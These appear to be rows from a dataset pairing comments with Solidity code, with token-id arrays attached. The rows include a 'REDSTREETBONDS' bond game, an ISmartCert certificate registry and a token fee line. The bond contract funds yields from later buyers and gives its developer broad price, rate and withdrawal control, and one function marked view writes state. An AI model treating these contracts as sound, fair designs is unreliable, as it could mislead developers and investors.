yield. The current yield rate will be listed on your bond at any time along with the price. A bonus referral program is available. Using your Masternode you will collect 5% of any net gains made during a purcchase by the user of your masternode. */ contract BONDS { /*================================= = MODIFIERS = =================================*/ modifier onlyOwner(){ require(msg.sender == dev); _; } /*============================== = EVENTS = ==============================*/ event onBondPurchase( address customerAddress, uint256 incomingEthereum, uint256 bond, uint256 newPrice ); event onWithdraw( address customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address from, address to, uint256 bond ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "REDSTREETBONDS"; string public symbol = "REDBOND"; uint8 constant public referralRate = 5; uint8 constant public decimals = 18; uint public totalBondValue = 0; bool public contractActive = false; /*================================ = DATASETS = ================================*/ mapping(uint => address) internal bondOwner; mapping(uint => uint) public bondPrice; mapping(uint => uint) internal bondPreviousPrice; mapping(address => uint) internal ownerAccounts; mapping(uint => uint) internal totalBondDivs; mapping(uint => string) internal bondName; uint bondPriceIncrement = 125; //25% Price Increases uint totalDivsProduced = 0; uint public maxBonds = 200; uint public initialPrice = 5e17; //0.5 ETH uint public nextAvailableBond; bool allowReferral = false; bool allowAutoNewBond = false; uint8 public devDivRate = 10; uint8 public ownerDivRate = 50; uint8 public distDivRate = 40; uint public bondFund = 0; address dev; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ function BONDS() public { dev = msg.sender; nextAvailableBond = 11; bondOwner[1] = dev; bondPrice[1] = 5e18;//initialPrice; bondPreviousPrice[1] = 0; bondOwner[2] = dev; bondPrice[2] = 3e18;//initialPrice; bondPreviousPrice[2] = 0; bondOwner[3] = dev; bondPrice[3] = 2e18;//initialPrice; bondPreviousPrice[3] = 0; bondOwner[4] = dev; bondPrice[4] = 1e18;//initialPrice; bondPreviousPrice[4] = 0; bondOwner[5] = dev; bondPrice[5] = 8e17;//initialPrice; bondPreviousPrice[5] = 0; bondOwner[6] = dev; bondPrice[6] = 6e17;//initialPrice; bondPreviousPrice[6] = 0; bondOwner[7] = dev; bondPrice[7] = 5e17;//initialPrice; bondPreviousPrice[7] = 0; bondOwner[8] = dev; bondPrice[8] = 3e17;//initialPrice; bondPreviousPrice[8] = 0; bondOwner[9] = dev; bondPrice[9] = 2e17;//initialPrice; bondPreviousPrice[9] = 0; bondOwner[10] = dev; bondPrice[10] = 1e17;//initialPrice; bondPreviousPrice[10] = 0; getTotalBondValue(); } function addTotalBondValue(uint _new, uint _old) internal { //uint newPrice = SafeMath.div(SafeMath.mul(_new,bondPriceIncrement),100); totalBondValue = SafeMath.add(totalBondValue, SafeMath.sub(_new,_old)); } function buy(uint _bond, address _referrer) public payable { require(contractActive); require(_bond <= nextAvailableBond); require(msg.value >= bondPrice[_bond]); require(msg.sender != bondOwner[_bond]); uint _newPrice = SafeMath.div(SafeMath.mul(msg.value,bondPriceIncrement),100); //Determine the total dividends uint _baseDividends = msg.value - bondPreviousPrice[_bond]; totalDivsProduced = SafeMath.add(totalDivsProduced, _baseDividends); uint _devDividends = SafeMath.div(SafeMath.mul(_baseDividends,devDivRate),100); uint _ownerDividends = SafeMath.div(SafeMath.mul(_baseDividends,ownerDivRate),100); totalBondDivs[_bond] = SafeMath.add(totalBondDivs[_bond],_ownerDividends); _ownerDividends = SafeMath.add(_ownerDividends,bondPreviousPrice[_bond]); uint _distDividends = SafeMath.div(SafeMath.mul(_baseDividends,distDivRate),100); if (allowReferral && (_referrer != msg.sender) && (_referrer != 0x0000000000000000000000000000000000000000)) { uint _referralDividends = SafeMath.div(SafeMath.mul(_baseDividends,referralRate),100); _distDividends = SafeMath.sub(_distDividends,_referralDividends); ownerAccounts[_referrer] = SafeMath.add(ownerAccounts[_referrer],_referralDividends); } //distribute dividends to accounts address _previousOwner = bondOwner[_bond]; address _newOwner = msg.sender; ownerAccounts[_previousOwner] = SafeMath.add(ownerAccounts[_previousOwner],_ownerDividends); ownerAccounts[dev] = SafeMath.add(ownerAccounts[dev],_devDividends); bondOwner[_bond] = _newOwner; distributeYield(_distDividends); distributeBondFund(); //Increment the bond Price bondPreviousPrice[_bond] = msg.value; bondPrice[_bond] = _newPrice; //addTotalBondValue(_newPrice, bondPreviousPrice[_bond]); getTotalBondValue(); emit onBondPurchase(msg.sender, msg.value, _bond, SafeMath.div(SafeMath.mul(msg.value,bondPriceIncrement),100)); } function distributeYield(uint _distDividends) internal { uint counter = 1; while (counter < nextAvailableBond) { uint _distAmountLocal = SafeMath.div(SafeMath.mul(_distDividends, bondPrice[counter]),totalBondValue); ownerAccounts[bondOwner[counter]] = SafeMath.add(ownerAccounts[bondOwner[counter]],_distAmountLocal); totalBondDivs[counter] = SafeMath.add(totalBondDivs[counter],_distAmountLocal); counter = counter + 1; } } function distributeBondFund() internal { if(bondFund > 0){ uint counter = 1; while (counter < nextAvailableBond) { uint _distAmountLocal = SafeMath.div(SafeMath.mul(bondFund, bondPrice[counter]),totalBondValue); ownerAccounts[bondOwner[counter]] = SafeMath.add(ownerAccounts[bondOwner[counter]],_distAmountLocal); totalBondDivs[counter] = SafeMath.add(totalBondDivs[counter],_distAmountLocal); counter = counter + 1; } bondFund = 0; } } function extDistributeBondFund() public onlyOwner() { if(bondFund > 0){ uint counter = 1; while (counter < nextAvailableBond) { uint _distAmountLocal = SafeMath.div(SafeMath.mul(bondFund, bondPrice[counter]),totalBondValue); ownerAccounts[bondOwner[counter]] = SafeMath.add(ownerAccounts[bondOwner[counter]],_distAmountLocal); totalBondDivs[counter] = SafeMath.add(totalBondDivs[counter],_distAmountLocal); counter = counter + 1; } bondFund = 0; } } function withdraw() public { address _customerAddress = msg.sender; require(ownerAccounts[_customerAddress] > 0); uint _dividends = ownerAccounts[_customerAddress]; ownerAccounts[_customerAddress] = 0; _customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } function withdrawPart(uint _amount) public onlyOwner() { address _customerAddress = msg.sender; require(ownerAccounts[_customerAddress] > 0); require(_amount <= ownerAccounts[_customerAddress]); ownerAccounts[_customerAddress] = SafeMath.sub(ownerAccounts[_customerAddress],_amount); _customerAddress.transfer(_amount); // fire event onWithdraw(_customerAddress, _amount); } // Fallback function: add funds to the addional distibution amount. This is what will be contributed from the exchange // and other contracts function() payable public { uint devAmount = SafeMath.div(SafeMath.mul(devDivRate,msg.value),100); uint bondAmount = msg.value - devAmount; bondFund = SafeMath.add(bondFund, bondAmount); ownerAccounts[dev] = SafeMath.add(ownerAccounts[dev], devAmount); } /** * Transfer bond to another address */ function transfer(address _to, uint _bond ) public { require(bondOwner[_bond] == msg.sender); bondOwner[_bond] = _to; emit Transfer(msg.sender, _to, _bond); } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ /** /** * If we want to rebrand, we can. */ function setName(string _name) onlyOwner() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyOwner() public { symbol = _symbol; } function setInitialPrice(uint _price) onlyOwner() public { initialPrice = _price; } function setMaxbonds(uint _bond) onlyOwner() public { maxBonds = _bond; } function setBondPrice(uint _bond, uint _price) //Allow the changing of a bond price owner if the dev owns it onlyOwner() public { require(bondOwner[_bond] == dev); bondPrice[_bond] = _price; } function addNewbond(uint _price) onlyOwner() public { require(nextAvailableBond < maxBonds); bondPrice[nextAvailableBond] = _price; bondOwner[nextAvailableBond] = dev; totalBondDivs[nextAvailableBond] = 0; bondPreviousPrice[nextAvailableBond] = 0; nextAvailableBond = nextAvailableBond + 1; //addTotalBondValue(_price, 0); getTotalBondValue(); } function setAllowReferral(bool _allowReferral) onlyOwner() public { allowReferral = _allowReferral; } function setAutoNewbond(bool _autoNewBond) onlyOwner() public { allowAutoNewBond = _autoNewBond; } function setRates(uint8 _newDistRate, uint8 _newDevRate, uint8 _newOwnerRate) onlyOwner() public { require((_newDistRate + _newDevRate + _newOwnerRate) == 100); devDivRate = _newDevRate; ownerDivRate = _newOwnerRate; distDivRate = _newDistRate; } function setActive(bool _Active) onlyOwner() public { contractActive = _Active; } function setLowerBondPrice(uint _bond, uint _newPrice) //Allow a bond owner to lower the price if they want to dump it. They cannont raise the price { require(bondOwner[_bond] == msg.sender); require(_newPrice < bondPrice[_bond]); require(_newPrice >= initialPrice); //totalBondValue = SafeMath.sub(totalBondValue,SafeMath.sub(bondPrice[_bond],_newPrice)); bondPrice[_bond] = _newPrice; getTotalBondValue(); } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function getMyBalance() public view returns(uint) { return ownerAccounts[msg.sender]; } function getOwnerBalance(address _bondOwner) public view returns(uint) { require(msg.sender == dev); return ownerAccounts[_bondOwner]; } function getBondPrice(uint _bond) public view returns(uint) { require(_bond <= nextAvailableBond); return bondPrice[_bond]; } function getBondOwner(uint _bond) public view returns(address) { require(_bond <= nextAvailableBond); return bondOwner[_bond]; } function gettotalBondDivs(uint _bond) public view returns(uint) { require(_bond <= nextAvailableBond); return totalBondDivs[_bond]; } function getTotalDivsProduced() public view returns(uint) { return totalDivsProduced; } function totalEthereumBalance() public view returns(uint) { return address (this).balance; } function getNextAvailableBond() public view returns(uint) { return nextAvailableBond; } function getTotalBondValue() internal view { uint counter = 1; uint _totalVal = 0; while (counter < nextAvailableBond) { _totalVal = SafeMath.add(_totalVal,bondPrice[counter]); counter = counter + 1; } totalBondValue = _totalVal; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
* Transfer bond to another address/
function transfer(address _to, uint _bond ) public { require(bondOwner[_bond] == msg.sender); bondOwner[_bond] = _to; emit Transfer(msg.sender, _to, _bond); }
12,653,516
[ 1, 5912, 8427, 358, 4042, 1758, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 12, 2867, 389, 869, 16, 2254, 389, 26425, 262, 203, 3639, 203, 3639, 1071, 203, 565, 288, 203, 3639, 2583, 12, 26425, 5541, 63, 67, 26425, 65, 422, 1234, 18, 15330, 1769, 203, 203, 3639, 8427, 5541, 63, 67, 26425, 65, 273, 389, 869, 31, 203, 203, 3639, 3626, 12279, 12, 3576, 18, 15330, 16, 389, 869, 16, 389, 26425, 1769, 203, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0x2Fb3C22230c39496eDc13c16d09F34368346Ac1D //Contract name: ISmartCert //Balance: 0 Ether //Verification Date: 3/6/2018 //Transacion Count: 54 // CODE STARTS HERE pragma solidity ^0.4.17; contract ISmartCert { // state variables mapping (bytes32 => SignedData) hashes; mapping (address => AccessStruct) accessList; mapping (bytes32 => RevokeStruct) revoked; mapping (bytes32 => Lvl2Struct[]) idMap; address owner; // constants string constant CODE_ACCESS_DENIED = "A001"; string constant CODE_ACCESS_POSTER_NOT_AUTHORIZED = "A002"; string constant CODE_ACCESS_ISSUER_NOT_AUTHORIZED = "A003"; string constant CODE_ACCESS_VERIFY_NOT_AUTHORIZED = "A004"; string constant MSG_ISSUER_SIG_NOT_MATCHED = "E001"; //"Issuer's address not matched with signed hash"; string constant MSG_DOC_REGISTERED = "E002"; //"Document already registered"; string constant MSG_REVOKED = "E003"; //"Document already revoked"; string constant MSG_NOTREG = "E004"; //"Document not registered"; string constant MSG_INVALID = "E005"; //"Document not valid"; string constant MSG_NOFOUND = "E006"; //"No record found"; string constant MSG_INVALID_CERT_MERKLE_NOT_MATCHED = "E007"; string constant MSG_INVALID_ACCESS_RIGHT = "E008"; string constant MSG_BATCH_REVOKED = "E009"; //"Batch that the document belong to has already been revoked"; string constant MSG_MERKLE_CANNOT_EMPTY = "E010"; string constant MSG_MERKLE_NOT_REGISTERED = "E011"; string constant STATUS_PASS = "PASS"; string constant STATUS_FAIL = "FAIL"; bytes1 constant ACCESS_ISSUER = 0x04; bytes1 constant ACCESS_POSTER = 0x02; bytes1 constant ACCESS_VERIFIER = 0x01; bytes1 constant ACCESS_ALL = 0x07; bytes1 constant ACCESS_ISSUER_POSTER = 0x05; bytes1 constant ACCESS_NONE = 0x00; struct SignedData { // string data; bytes sig; uint registerDate; bool exists; // empty entry to this struct initially set to false } struct RecordStruct { bytes32 recordId; // ref id to hashstore bool exists; // empty entry to this struct initially set to false } struct Lvl2Struct { bytes32 recordId; bytes32 certhash; bool exists; } struct RevokeStruct { bool exists; bytes32 merkleHash; bool batchFlag; uint date; } struct AccessStruct { bytes1 accessRight; uint date; bool isValue; } function ISmartCert() public { owner = msg.sender; } event LogUserRight(string, string); function userRight(address userAddr, bytes1 accessRight, uint date) public { if (owner != msg.sender) { LogUserRight(STATUS_FAIL, CODE_ACCESS_DENIED); return; } if (accessRight != ACCESS_ISSUER && accessRight != ACCESS_POSTER && accessRight != ACCESS_VERIFIER && accessRight != ACCESS_ALL && accessRight != ACCESS_ISSUER_POSTER && accessRight != ACCESS_NONE) { LogUserRight(STATUS_FAIL, MSG_INVALID_ACCESS_RIGHT); return; } accessList[userAddr].accessRight = accessRight; accessList[userAddr].date = date; accessList[userAddr].isValue = true; LogUserRight(STATUS_PASS, ""); } function checkAccess(address user, bytes1 access) internal view returns (bool) { if (accessList[user].isValue) { if (accessList[user].accessRight & access == access) { return true; } } return false; } function internalRegisterCert(bytes32 certHash, bytes sig, uint registrationDate) internal returns (string, string) { address issuer; if (!checkAccess(msg.sender, ACCESS_POSTER)) { return (STATUS_FAIL, CODE_ACCESS_POSTER_NOT_AUTHORIZED); } issuer = recoverAddr(certHash, sig); if (!checkAccess(issuer, ACCESS_ISSUER)) { return (STATUS_FAIL, CODE_ACCESS_ISSUER_NOT_AUTHORIZED); } if (hashes[certHash].exists) { // check if doc has already been revoked if (revoked[certHash].exists) { return (STATUS_FAIL, MSG_REVOKED); } else { return (STATUS_FAIL, MSG_DOC_REGISTERED); } } // signed data (in r, s, v) hashes[certHash].sig = sig; // certificate registration date (YYYYmmdd) hashes[certHash].registerDate = registrationDate; // indicate the record exists hashes[certHash].exists = true; return (STATUS_PASS, ""); } function internalRegisterCertWithID(bytes32 certHash, bytes sig, bytes32 merkleHash, uint registrationDate, bytes32 id) internal returns (string, string) { string memory status; string memory message; // check if any record associated with id for (uint i = 0; i < idMap[id].length; i++) { if (idMap[id][i].exists == true && idMap[id][i].certhash == certHash) { return (STATUS_FAIL, MSG_DOC_REGISTERED); } } // check if merkle root has already been revoked if (merkleHash != 0x00) { if (revoked[merkleHash].exists && revoked[merkleHash].batchFlag) { return (STATUS_FAIL, MSG_BATCH_REVOKED); } } // check if merkle root is empty if (merkleHash == 0x00) { return (STATUS_FAIL, MSG_MERKLE_CANNOT_EMPTY); } // check if merkle is exists if (!hashes[merkleHash].exists) { return (STATUS_FAIL, MSG_MERKLE_NOT_REGISTERED); } // register certificate (status, message) = internalRegisterCert(certHash, sig, registrationDate); if (keccak256(status) != keccak256(STATUS_PASS)) { return (status, message); } // store record id by ID idMap[id].push(Lvl2Struct({recordId:merkleHash, certhash:certHash, exists:true})); return (STATUS_PASS, ""); } function internalRevokeCert(bytes32 certHash, bytes sigCertHash, bytes32 merkleHash, bool batchFlag, uint revocationDate) internal returns (string, string) { address issuer1; address issuer2; // check poster access right if (!checkAccess(msg.sender, ACCESS_POSTER)) { return (STATUS_FAIL, CODE_ACCESS_POSTER_NOT_AUTHORIZED); } // check issuer access right issuer1 = recoverAddr(certHash, sigCertHash); if (!checkAccess(issuer1, ACCESS_ISSUER)) { return (STATUS_FAIL, CODE_ACCESS_ISSUER_NOT_AUTHORIZED); } // if batch, ensure both certHash and merkleHash are same if (batchFlag) { if (certHash != merkleHash) { return (STATUS_FAIL, MSG_INVALID_CERT_MERKLE_NOT_MATCHED); } if (merkleHash == 0x00) { return (STATUS_FAIL, MSG_MERKLE_CANNOT_EMPTY); } } if (merkleHash != 0x00) { // check if doc (merkle root) is registered if (hashes[merkleHash].exists == false) { return (STATUS_FAIL, MSG_NOTREG); } // check if requested signature and stored signature is same by comparing two issuer addresses issuer2 = recoverAddr(merkleHash, hashes[merkleHash].sig); if (issuer1 != issuer2) { return (STATUS_FAIL, MSG_ISSUER_SIG_NOT_MATCHED); } } // check if doc has already been revoked if (revoked[certHash].exists) { return (STATUS_FAIL, MSG_REVOKED); } // store / update if (batchFlag) { revoked[certHash].batchFlag = true; } else { revoked[certHash].batchFlag = false; } revoked[certHash].exists = true; revoked[certHash].merkleHash = merkleHash; revoked[certHash].date = revocationDate; return (STATUS_PASS, ""); } // event as a form of return value, state mutating function cannot return value to external party event LogRegisterCert(string, string); function registerCert(bytes32 certHash, bytes sig, uint registrationDate) public { string memory status; string memory message; (status, message) = internalRegisterCert(certHash, sig, registrationDate); LogRegisterCert(status, message); } event LogRegisterCertWithID(string, string); function registerCertWithID(bytes32 certHash, bytes sig, bytes32 merkleHash, uint registrationDate, bytes32 id) public { string memory status; string memory message; // register certificate (status, message) = internalRegisterCertWithID(certHash, sig, merkleHash, registrationDate, id); LogRegisterCertWithID(status, message); } // for verification function internalVerifyCert(bytes32 certHash, bytes32 merkleHash, address issuer) internal view returns (string, string) { bytes32 tmpCertHash; // check if doc has already been revoked if (revoked[certHash].exists && !revoked[certHash].batchFlag) { return (STATUS_FAIL, MSG_REVOKED); } if (merkleHash != 0x00) { // check if merkle root has already been revoked if (revoked[merkleHash].exists && revoked[merkleHash].batchFlag) { return (STATUS_FAIL, MSG_REVOKED); } tmpCertHash = merkleHash; } else { tmpCertHash = certHash; } // check if doc in hash store if (hashes[tmpCertHash].exists) { if (recoverAddr(tmpCertHash, hashes[tmpCertHash].sig) != issuer) { return (STATUS_FAIL, MSG_INVALID); } return (STATUS_PASS, ""); } else { return (STATUS_FAIL, MSG_NOTREG); } } function verifyCert(bytes32 certHash, bytes32 merkleHash, address issuer) public view returns (string, string) { string memory status; string memory message; bool isAuthorized; // check verify access isAuthorized = checkVerifyAccess(); if (!isAuthorized) { return (STATUS_FAIL, CODE_ACCESS_VERIFY_NOT_AUTHORIZED); } (status, message) = internalVerifyCert(certHash, merkleHash, issuer); return (status, message); } function verifyCertWithID(bytes32 certHash, bytes32 merkleHash, bytes32 id, address issuer) public view returns (string, string) { string memory status; string memory message; bool isAuthorized; // check verify access isAuthorized = checkVerifyAccess(); if (!isAuthorized) { return (STATUS_FAIL, CODE_ACCESS_VERIFY_NOT_AUTHORIZED); } // check if any record associated with id for (uint i = 0; i < idMap[id].length; i++) { if (idMap[id][i].exists == true && idMap[id][i].certhash == certHash) { (status, message) = internalVerifyCert(certHash, merkleHash, issuer); return (status, message); } } // no record found return (STATUS_FAIL, MSG_NOFOUND); } function checkVerifyAccess() internal view returns (bool) { // check if sender is authorized for cert verification return checkAccess(msg.sender, ACCESS_VERIFIER); } // event as a form of return value, state mutating function cannot return value to external party event LogRevokeCert(string, string); function revokeCert(bytes32 certHash, bytes sigCertHash, bytes32 merkleHash, bool batchFlag, uint revocationDate) public { string memory status; string memory message; (status, message) = internalRevokeCert(certHash, sigCertHash, merkleHash, batchFlag, revocationDate); LogRevokeCert(status, message); } // event LogReissueCert(string, bytes32, string); event LogReissueCert(string, string); function reissueCert(bytes32 revokeCertHash, bytes revokeSigCertHash, bytes32 revokeMerkleHash, uint revocationDate, bytes32 registerCertHash, bytes registerSig, uint registrationDate) public { string memory status; string memory message; // revoke certificate (status, message) = internalRevokeCert(revokeCertHash, revokeSigCertHash, revokeMerkleHash, false, revocationDate); if (keccak256(status) != keccak256(STATUS_PASS)) { LogReissueCert(status, message); return; } // register certificate (status, message) = internalRegisterCert(registerCertHash, registerSig, registrationDate); LogReissueCert(status, message); if (keccak256(status) != keccak256(STATUS_PASS)) { revert(); } LogReissueCert(STATUS_PASS, ""); } event LogReissueCertWithID(string, string); function reissueCertWithID(bytes32 revokeCertHash, bytes revokeSigCertHash, bytes32 revokeMerkleHash, uint revocationDate, bytes32 registerCertHash, bytes registerSig, bytes32 registerMerkleHash, uint registrationDate, bytes32 id) public { string memory status; string memory message; // revoke certificate (status, message) = internalRevokeCert(revokeCertHash, revokeSigCertHash, revokeMerkleHash, false, revocationDate); if (keccak256(status) != keccak256(STATUS_PASS)) { LogReissueCertWithID(status, message); return; } // register certificate (status, message) = internalRegisterCertWithID(registerCertHash, registerSig, registerMerkleHash, registrationDate, id); LogReissueCertWithID(status, message); if (keccak256(status) != keccak256(STATUS_PASS)) { revert(); } LogReissueCertWithID(STATUS_PASS, ""); } function recoverAddr(bytes32 hash, bytes sig) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; //Check the signature length if (sig.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables assembly { r := mload(add(sig, 33)) s := mload(add(sig, 65)) v := mload(add(sig, 1)) } // Version of signature should be 27 or 28, but 0 and 1 are also possible versions if (v < 27) { v += 27; } // If the version is correct return the signer address if (v != 27 && v != 28) { return (address(1)); } else { return ecrecover(hash, v, r, s); } } }
indicate the record exists
hashes[certHash].exists = true;
5,429,541
[ 1, 728, 2659, 326, 1409, 1704, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 202, 17612, 63, 7593, 2310, 8009, 1808, 273, 638, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x6777a6446a4D70C75D6494F2f4F9B8aED12ce6a4/sources/NINA20.sol
(_totalSupply * 10) / 1000 [this equals 1%]
uint256 public _maxTxAmount = (_totalSupply * 150) / 1000;
3,882,881
[ 1, 24899, 4963, 3088, 1283, 225, 1728, 13, 342, 4336, 306, 2211, 1606, 404, 9, 65, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
